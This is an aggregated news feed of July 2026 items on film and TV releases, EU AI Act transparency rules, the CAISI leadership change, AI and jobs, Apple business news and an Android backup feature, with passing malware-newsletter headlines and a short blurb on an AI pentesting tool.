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SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 107

Sun, 26 Jul 2026 16:17:01 +0200

Security Affairs Malware newsletter includes a collection of the best articles and research on malware in the international landscape Malware Newsletter UAC-0145 Primary Compromise Vectors as of July 2026 SleeperGem: Compromised git_credential_manager, Dendreo, and fastlane RubyGems Drop a Persistent Backdoor AgentBaiting: How 800+ Fake AI Skills and MCP Servers Delivered Malware Chaos ransomware’s msaRAT: Living […]

SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 107

Sun, 26 Jul 2026 16:05:03 +0200

Apple TV teases new trailers for 'Matchbox,' 'Neuromancer,' 'Dark Matter'

Sun, 26 Jul 2026 14:23:15 +0200

Apple TV paid a visit to San Diego Comic-Con, hosting a two-hour panel and revealing new trailers for "Dark Matter," "Neuromancer," and the loosely toy-based "Matchbox The Movie."

Matchbox The Movie - Image Credit: Apple

Just like any major media company that streams movies and TV shows, Apple held a lengthy two-hour panel at San Diego Comic-Con. The panels are usually an opportunity for fans to see stars talk about past and upcoming projects, as well as the reveal of new trailers for inbound releases.

As part of Saturday's panel, Apple introduced a trio of new trailers for two shows and a movie.

Continue Reading on AppleInsider | Discuss on our Forums

Dark Matter: Apple TV zeigt Trailer zu Staffel 2

Sun, 26 Jul 2026 10:15:14 +0200

Apple TV hat auf der San Diego Comic-Con den offiziellen Trailer zur zweiten Staffel der Sci-Fi-Serie Dark Matter enthüllt. Die zehnteilige zweite Staffel rund um das...

Zum Beitrag: Dark Matter: Apple TV zeigt Trailer zu Staffel 2

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Avengers: Endgame Re-Release Includes Exclusive Avengers: Doomsday Preview

Sun, 26 Jul 2026 09:21:44 +0200

Marvel Studios is bringing Avengers: Endgame back to theaters on September 25, 2026, with an exclusive look at the upcoming Avengers: Doomsday. The re-release gives Marvel fans another opportunity to watch the 2019 blockbuster in theaters. The film follows the surviving Avengers as they attempt to reverse Thanos’ devastating snap and restore half of all life across the universe. The new theatrical run also serves as part of Marvel’s preparation for its next major crossover event. Viewers who attend the re-release will receive an early look at Avengers: Doomsday, although the exact length and format of the preview have not been announced. Exclusive Avengers: Doomsday Footage Expected Avengers: Doomsday will bring several major Marvel heroes together and introduce Robert Downey Jr. as Victor von Doom. The movie will also feature characters connected to the Avengers, Fantastic Four, X-Men and other parts of the Marvel Cinematic Universe. Recent footage has highlighted Doctor Doom’s role in the story and his connections with the Fantastic Four. However, Marvel has kept several important plot details private ahead of the theatrical release. The Russo brothers, who directed Avengers: Endgame, are also directing the new movie. Their return has raised expectations for another large-scale Marvel story involving several teams and universes. Avengers: Doomsday is scheduled to arrive in theaters on December 18, 2026. The Endgame re-release gives audiences nearly three months to revisit the earlier Avengers finale before Marvel begins its next major chapter.

'That is the wrong model for the AI era': Employers now expect basic AI skills from all workers

Sun, 26 Jul 2026 09:15:37 +0200

97% of organizations would pay 10%+ extra salary just for workers who have AI skills – workers, take responsibility now.

The AI coding tutor paradox grows as educators scramble to rethink how they test real skills

Sun, 26 Jul 2026 09:10:20 +0200

An ACM survey of 763 computer science educators from 49 countries shows that 68 percent have already changed their exams because of AI, shifting toward oral exams, proctored tests, and project-based work. Teaching is moving from writing code to understanding it. But nearly half of respondents say they lack proven examples for integrating AI into their courses.

The article The AI coding tutor paradox grows as educators scramble to rethink how they test real skills appeared first on The Decoder.

Agent Kim Reactivated Season 2: Is Another Season Happening? Here’s What We Know

Sun, 26 Jul 2026 09:08:51 +0200

Agent Kim Reactivated Season 2 has not been officially confirmed, but the Season 1 finale leaves Kim Do-hyeon in a strong position to return for another dangerous mission. The Korean action drama completed its first season on July 25, 2026, after releasing two episodes each Friday and Saturday. The finale ended its run as the most-watched drama of 2026 in South Korea, giving SBS and Netflix a strong reason to consider another season. Season 2 status: Not officially renewed Possible release date: Late 2027 or 2028, depending on renewal and production Season 1 release: June 26 to July 25, 2026 Episodes: 10 Genre: Action, crime, spy thriller and comedy Streaming platform: Netflix Main cast: So Ji-sub, Choi Dae-hoon, Yoon Kyung-ho and Joo Sang-wook Netflix describes the series as an action drama about an ordinary father who brings back his black-ops skills after his daughter disappears. The show is based on the Manager Kim webtoon and mixes family drama with espionage, chases and close-combat action. Where could the story go in Season 2? Spoilers for the Agent Kim Reactivated Season 1 finale follow. Season 1 follows bank manager Kim Do-hyeon as he searches for his missing daughter, Min-ji. His investigation forces him to reveal that he once worked as a highly trained North Korean operative before building a quiet life in South Korea. Do-hyeon eventually confronts Joo Kang-chan, bringing their long and violent history to a final showdown. However, the last episode does more than close the kidnapping storyline. It shows Do-hyeon beginning a new chapter and attending an employment interview connected to Baekho, directly opening the door for another season. Agent Kim Reactivated Season 2 could follow Do-hyeon as he accepts professional missions instead of returning fully to his normal banking job. Baekho could recruit him for rescue operations involving missing people, criminal groups or former intelligence agents. The next season could also expand the roles of Park Jin-cheol and Han-soo. Their skills and history would allow the show to form a larger team around Do-hyeon while introducing a new enemy connected to his earlier life. When will Season 2 be announced? SBS has not announced a renewal or production schedule. However, the finale’s strong ratings and clear continuation scene make a second season possible. A decision could depend on cast availability, Netflix performance and whether the writers have another completed storyline. Would you watch Agent Kim Reactivated Season 2, and what mission should Manager Kim take on next? Let us know in the comments.

Sullivan’s Crossing Season 5 Release Date: Everything You Need to Know

Sun, 26 Jul 2026 08:54:08 +0200

Sullivan’s Crossing Season 5 is officially happening, although Netflix viewers will probably need to wait until 2027 to watch the next chapter of Maggie and Cal’s story. CTV renewed the romantic drama for a fifth season in June 2026, describing it as the network’s number-one original drama. Production is scheduled to begin in Nova Scotia during summer 2026, while an exact premiere date and episode count remain unconfirmed. Renewal status: Officially renewed by CTV Expected filming period: Summer 2026 Likely CTV premiere: Spring 2027 Expected episode count: Around 10 episodes Genre: Romantic drama and medical drama Filming location: Nova Scotia, Canada Expected Netflix release: Summer 2027 The spring 2027 estimate follows the show’s recent release pattern. Seasons 3 and 4 arrived during the spring, while the fourth season contained 10 one-hour episodes. Where the story is heading Spoilers for the Sullivan’s Crossing Season 4 finale follow. Season 4 ended with Cal proposing to Maggie, but viewers did not hear her answer. Tracy interrupted the moment by asking Maggie and Cal to take her in, leaving the couple’s engagement and immediate future unresolved. Season 5 should return to Maggie’s decision and examine whether she and Cal can finally build a stable life together. Their relationship faced another major test during Season 4 after Liam, Maggie’s former husband, arrived and revealed more about their complicated past. Earlier seasons followed Maggie as she returned to Sullivan’s Crossing after legal trouble disrupted her medical career. Her time at the campground helped her rebuild her relationship with her father, Sully, while her friendship with Cal slowly developed into a romance. Season 5 will have a new showrunner The series will also experience a creative change behind the scenes. Creator Roma Roth will remain involved as an executive producer, while Floyd Kane takes over as showrunner for Season 5. Morgan Kohan and Chad Michael Murray are expected to return as Maggie and Cal. However, the complete cast has not been announced. Scott Patterson, who played Sully during the first three seasons, is also not currently expected to return. When should Season 5 arrive on Netflix? Netflix has not announced a Season 5 release date. Season 4 joined Netflix on June 30, 2026, shortly after its television finale aired on June 22. Based on that schedule, Sullivan’s Crossing Season 5 should reach Netflix a few weeks after its 2027 television finale. A release between June and August 2027 appears most likely, provided the new season premieres during spring. Season 4 recently reached Netflix’s global Top 10 with 1.3 million views during the week of July 13 to July 19, giving the streaming service another reason to carry the next season. Do you think Maggie will accept Cal’s proposal, or will Tracy’s arrival change their plans? Let us know what you expect from Sullivan’s Crossing Season 5 in the comments.

PentesterFlow – AI Tool for Penetration Testers and Bug Hunters to Automate Workflows

Sun, 26 Jul 2026 07:34:31 +0200

PentesterFlow is a new open-source, human-in-the-loop agentic AI command-line tool built specifically for penetration testers and bug bounty hunters, designed to automate recon-to-reporting workflows without sacrificing analyst oversight. Most agentic AI security tools suffer from hallucinated findings, weak context retention, and poor tool integration, but PentesterFlow tackles these problems head-on with built-in pentest skills, evidence-based […]

The post PentesterFlow – AI Tool for Penetration Testers and Bug Hunters to Automate Workflows appeared first on Cyber Security News.

A Debian general resolution on LLM usage

Sun, 26 Jul 2026 06:39:06 +0200

The Debian project is considering a general resolution on the use of large language models in the creation of the distribution. There are three alternatives to consider: a total ban on LLM usage, rejecting LLMs "as far as practical", or explicitly allowing LLM usage subject to a set of conditions. The discussion period has just begun; the beginning of the voting period does not yet appear to have been set. Those who want to look over the discussion ahead of the inevitable LWN article can find it over here.

The EU’s AI transparency deadline is weeks away. Is your enterprise ready?

Sat, 25 Jul 2026 19:50:13 +0200

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

US AI testing institute chief steps down within three months

Sat, 25 Jul 2026 19:50:12 +0200

The head of the US government’s AI testing institute, Chris Fall, has resigned about three months after taking charge of the Center for AI Standards and Innovation (CAISI), the federal organization responsible for evaluating advanced artificial intelligence models for safety and security.

Current National Institute of Standards and Technology NIST Director Arvind Raman will serve as acting CAISI Director following Fall’s departure while continuing to oversee the Commerce Department office responsible for the institute, the Daily Signal reported, citing two people familiar with the matter.

A Commerce Department spokesperson who spoke to the publication did not disclose a reason for the resignation.

Fall assumed leadership of CAISI in April after the Trump administration reorganized the former US AI Safety Institute under NIST. The institute develops methodologies for evaluating frontier AI models and works with AI developers on voluntary technical assessments covering areas such as cybersecurity, model misuse, reliability and other risks associated with increasingly capable AI systems.

The leadership change comes as governments and AI companies continue developing technical approaches for evaluating frontier AI models while enterprises expand deployments of generative AI and agentic AI across business operations.

In recent months, the Commerce Department has taken a more active role in AI policy involving advanced models, placing greater attention on how the federal government evaluates technologies with potential national security implications.

Continuity matters more than personalities

CAISI works with AI developers such as Anthropic, Google’s DeepMind and OpenAI on voluntary evaluations of frontier AI models and develops methodologies for testing model capabilities and risks. The institute does not regulate AI developers or certify commercial AI systems.

For enterprises, those evaluations are one source of technical information alongside vendors’ own testing, third-party security assessments and internal AI governance programs.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said enterprises should focus less on the individual leading the institute and more on whether its technical work continues with the same level of consistency and transparency.

“Leadership churn at CAISI weakens the signal long before it weakens the science,” Gogia said. “The testing has not stopped. Its authority simply does not travel as cleanly once the leadership does not.”

According to Gogia, the more important question for enterprises is not whether the institute’s evaluation work will continue but whether the processes supporting those evaluations remain stable.

“The instinct is to ask whether the pipeline is breaking,” he said. “The more useful question is where the pipeline now sits.”

Enterprises still carry the burden of AI governance

Gogia said organizations should continue treating government-led AI evaluations as one input into their governance processes rather than as evidence that a model is inherently safe for enterprise deployment.

“A government evaluation was always a signal, never a certificate,” he said. “A signal loses value the moment its issuer becomes unpredictable.”

He said enterprises should instead monitor whether CAISI maintains consistent evaluation methodologies, continues publishing technical findings and preserves continuity within its research teams under interim leadership.

“The name on the door is not the signal. The behaviour underneath it is,” Gogia said.

Gogia also cautioned against linking Fall’s resignation to recent Commerce Department actions involving AI policy or export controls, noting that there is no public evidence connecting the two.

“CAISI evaluates; it does not enforce export controls, because it holds no such power,” he said. “This is not a testing body reaching for enforcement. It is enforcement reaching past the testing body.”

With Raman assuming the role on an interim basis, the next significant milestone for enterprises will be the appointment of a permanent director, and whether the institute’s evaluation programs continue without disruption, the analyst said.

Gogia said the successor’s mandate may prove more important than the individual selected.

“A CAISI result is not a safe harbour,” he said. “It informs an obligation; it does not discharge one.” NIST did not immediately respond to a request for comment.

OECD: Physical labor isn’t immune from AI disruptions

Sat, 25 Jul 2026 19:50:12 +0200

Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, according to a recent study by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farming, fishing, forestry, production and material transportation could be affected by fast-moving technology changes.

“Routine and low-skilled jobs are at higher risk,” the Paris-based public policy group said, adding that “overall, jobs requiring non-routine cognitive, social and creative skills are less susceptible to automation.”

The kinds of creative and cognitive jobs still thought to be less exposed to automation include social work and community service roles.

OECD also said management jobs — which often require workers to devise creative answers to solve problems — fall within the creative and cognitive category. “While AI has made some high-skill job requirements more susceptible to automation, many critical skills in these roles remain difficult to automate,” OECD said.

The same still holds true for some physical and manual labor jobs – including cleaners, agricultural workers, food-prep assistants, and laborers — which are less exposed to the affects of AI, OECD said.

But people who work in programming, translating and interpretation positions could find their work affected by the quick rise of AI tools and services. According to the organization, global AI uptake rose from 7% in 2021 to 20% in 2025.

“In these occupations, GenAI could perform a significant share of tasks at least twice as fast today or in the near future,” OECD said.

The effects of the AI boom are not always uniform across industries or regions. In a separate 2026 Employment Outlook study released by the group, exposure to disruption from generative AI (genAI) ranges from about 16% in some areas to more than 70% elsewhere, depending on industries and occupations.

Numerous research firms have said in recent years that AI is driving short-term job losses, though tech industry experts and analysts have argued AI will also create new careers and jobs as agentic AI takes over low-skilled work.

AI technology has become so ubiquitous that it’s been compared to electricity — virtually all companies will need it or at least know how to use it. But it’s adoption has been hindered at times as companies struggle to find ROI from its use, and by regulatory and ethical hurdles.

In the US, AI blamed for June job losses

According to a Challenger, Gray & Christmas study released earlier this month, AI was cited as the top reason for job cuts in June. The outplacement firm said employers cut 45,849 job cuts in June, of which 14,029 were attributed to AI, with the tech industry leading the cuts.

“Tech remains the epicenter of this year’s cuts,” Challenger said. “AI is the dominant force as companies are restructuring around it, automating roles, and reallocating budgets toward new capabilities. The sector is being reshaped in real time.”

Overall, AI has been responsible for 173,568 job cuts since 2021, the company said.

AI is hurting jobs in customer service, internal reporting, telecommunications, and hosting automation, said Victor Janulaitis, a staffing consultant who was formerly CEO at Janco Associates Inc.

“C-level executives continue to be focused on eliminating ‘non-essential’ managers, staff, and services,” he said. “Coders and developers have limited opportunities with legacy applications.”

While jobs in the IT sector overall are declining, current hiring tends to skew in the direction of people with AI skills. A report this month by CompTIA put job listings with AI skills at around 500,000, which is close to double the number in January.

“Employers in other industries are accelerating digital transformation initiatives and moving from AI experimentation to implementation,” said Seth Robinson, CompTIA’s vice president for industry research.

That view dovetails with what ManpowerGroup, the recruitment firm, is seeing; demand for AI-related skills has nearly doubled over the past year, said Ger Doyle, regional president of North America at ManpowerGroup.

That growth extends well beyond traditional technology roles as companies move from experimenting to AI deployments at scale, Doyle said. “We’re seeing it influence hiring across occupations ranging from data science and engineering to project management and operational roles,” he said.

Apple and the changing of the guard

Sat, 25 Jul 2026 19:50:11 +0200

As Apple gears up to anoint John Ternus the new company CEO in September (while current leader Tim Cook takes a seat on the board) the company appears to be firing on all cylinders ahead of the leadership transition.

What’s going well

Just look at the evidence:

Apple is building market share across its entire product range; even memory-driven price inflation doesn’t seem to have dampened demand for its hardware yet.
While Apple had to raise prices, the company’s MacBook Neo remains seriously popular. It’s sitting atop Amazon’s US best-selling chart, which currently includes six Macs in the top 10. The Neo has topped this chart since its introduction.
Apple’s iPhone 17 series continues to sell well, with recent market data showing sustained growth. Both Counterpoint and IDC tell us that iPhone shipments continue to increase, even as other vendor shipments slide.
IDC analyst Francisco Jeronimo recently estimated that Apple’s upcoming foldable iPhone Ultra could grab 29.4% of global folding smartphone sales this year, rising to 34.9% in 2027.
The company’s new 27 series of operating systems is attracting a great response as beta testers report that it is already solid, stable, and performing well.
The AI narrative has really changed, with analysts no longer quite so starry-eyed at the prospects for the big frontier AI firms. Apple’s edge-AI-enabling approach is winning converts.

What’s coming up

The company’s newly-filed lawsuit against OpenAI may or may not succeed, but it will certainly help consolidate recognition of the importance of Apple’s designs and intellectual property in whatever hardware emerges from the AI firm. It also means both Apple and OpenAI are already competing in hardware, even though neither company yet offers anything that directly challenges the other.

Apple has just set out its stall to brand-loyal fans in a big way and did so before OpenAI gets to woo the same set of customers with a wriggle of its Jony Ive-tinged talisman.

The stage is set for intense competition between the two. Though some say Apple’s needs to improve employee retention, if it does find proof of efforts to use recruitment to engage in industrial espionage, it’ll be easier to represent its own products as being the OG for new hardware.

If nothing else, it means consumers will forever be asking, “If OpenAI’s designers are so good, why did it need to poach them from Apple?” Doubt is a weapon.

Managing perception

It doesn’t matter how the case goes, because there fight is already affecting consumer psychology. It also means that as Ternus prepares to take his seat atop the rainbow-colored Apple throne, we can already size him up. “A man is measured by his enemies,” Joe Abercrombie wrote in “The Trouble With Peace.”

Given the proximity of the leadership transition, it’s highly probable that Ternus signed-off on the litigation; in doing so he — and Apple — tell us to expect more of the same.

Apple has, rightly or wrongly, decided that OpenAI will become its new existential bugbear, following in the footsteps of Microsoft Windows, Real Networks, Adobe Flash, Android, and Samsung, all of whom have been useful foils against which Apple has been able to build and maintain its identity.

Looking at that list, you’d be tempted to believe that nothing much is new. Apple has often defined itself by the enemies it sometimes keeps. What has been will be again, which in this case means even as OpenAI attempts to carve out an identity as a hardware manufacturer delivering solutions to compete with Apple and Google, Ternus’ team’s looks to drive a consensus-shaped wedge into the pro-LLM propaganda.

That blow comes as Apple finally gets its act together around AI, and as the company prepares for a future in which the world’s most-used wearable device also becomes the wearable way to woo Siri AI.

My kingdom come

Rising market share, powerful solutions, an increasingly recognized and respected approach to AI, and an ideological crusade — these details constitute Apple’s place today and are Tim Cook’s coronation gift to Ternus. He’s passing along a strong and hyper-profitable baton that screams of timeliness and relevance even as the company gets set, ready, to go with a year or two of new product designs, new product families, and a 20^thanniversary iPhone.

This is Apple’s party. OpenAI’s name didn’t make the list.

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Your instant Android backup upgrade

Sat, 25 Jul 2026 19:50:10 +0200

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

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The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

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Own nothing, upgrade everything: Apple’s new Klarna deal

Sat, 25 Jul 2026 19:50:09 +0200

Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.

This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.

Moving closer to hardware-as-a-service

Apple has slowly been transitioning toward hardware-as-a-service for almost a decade. Back then, Forrester analyst Frank Gillet predicted the company would eventually offer bundles of services and products for a monthly, all-in, fee.

This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.

There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable.

Easy payments for RAM-ageddon

The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has previously rejected these plans to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.

“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by Computerworld. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.”

New age, new shopping habits

The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s good enough for GM, it’s good enough for Apple.

It’s all about attitude, too. From Apple’s perspective, it has done plenty of the groundwork required to convince its customers that subscription payments for things you value are no bad thing.

Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and CEO Tim Cook — first began banging the drum for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of more than 2.5 billion devices globally.

A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me.

There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can’t afford to own.

Managing future risk

The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.

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Tech layoffs: A 2026 timeline

Sat, 25 Jul 2026 19:50:08 +0200

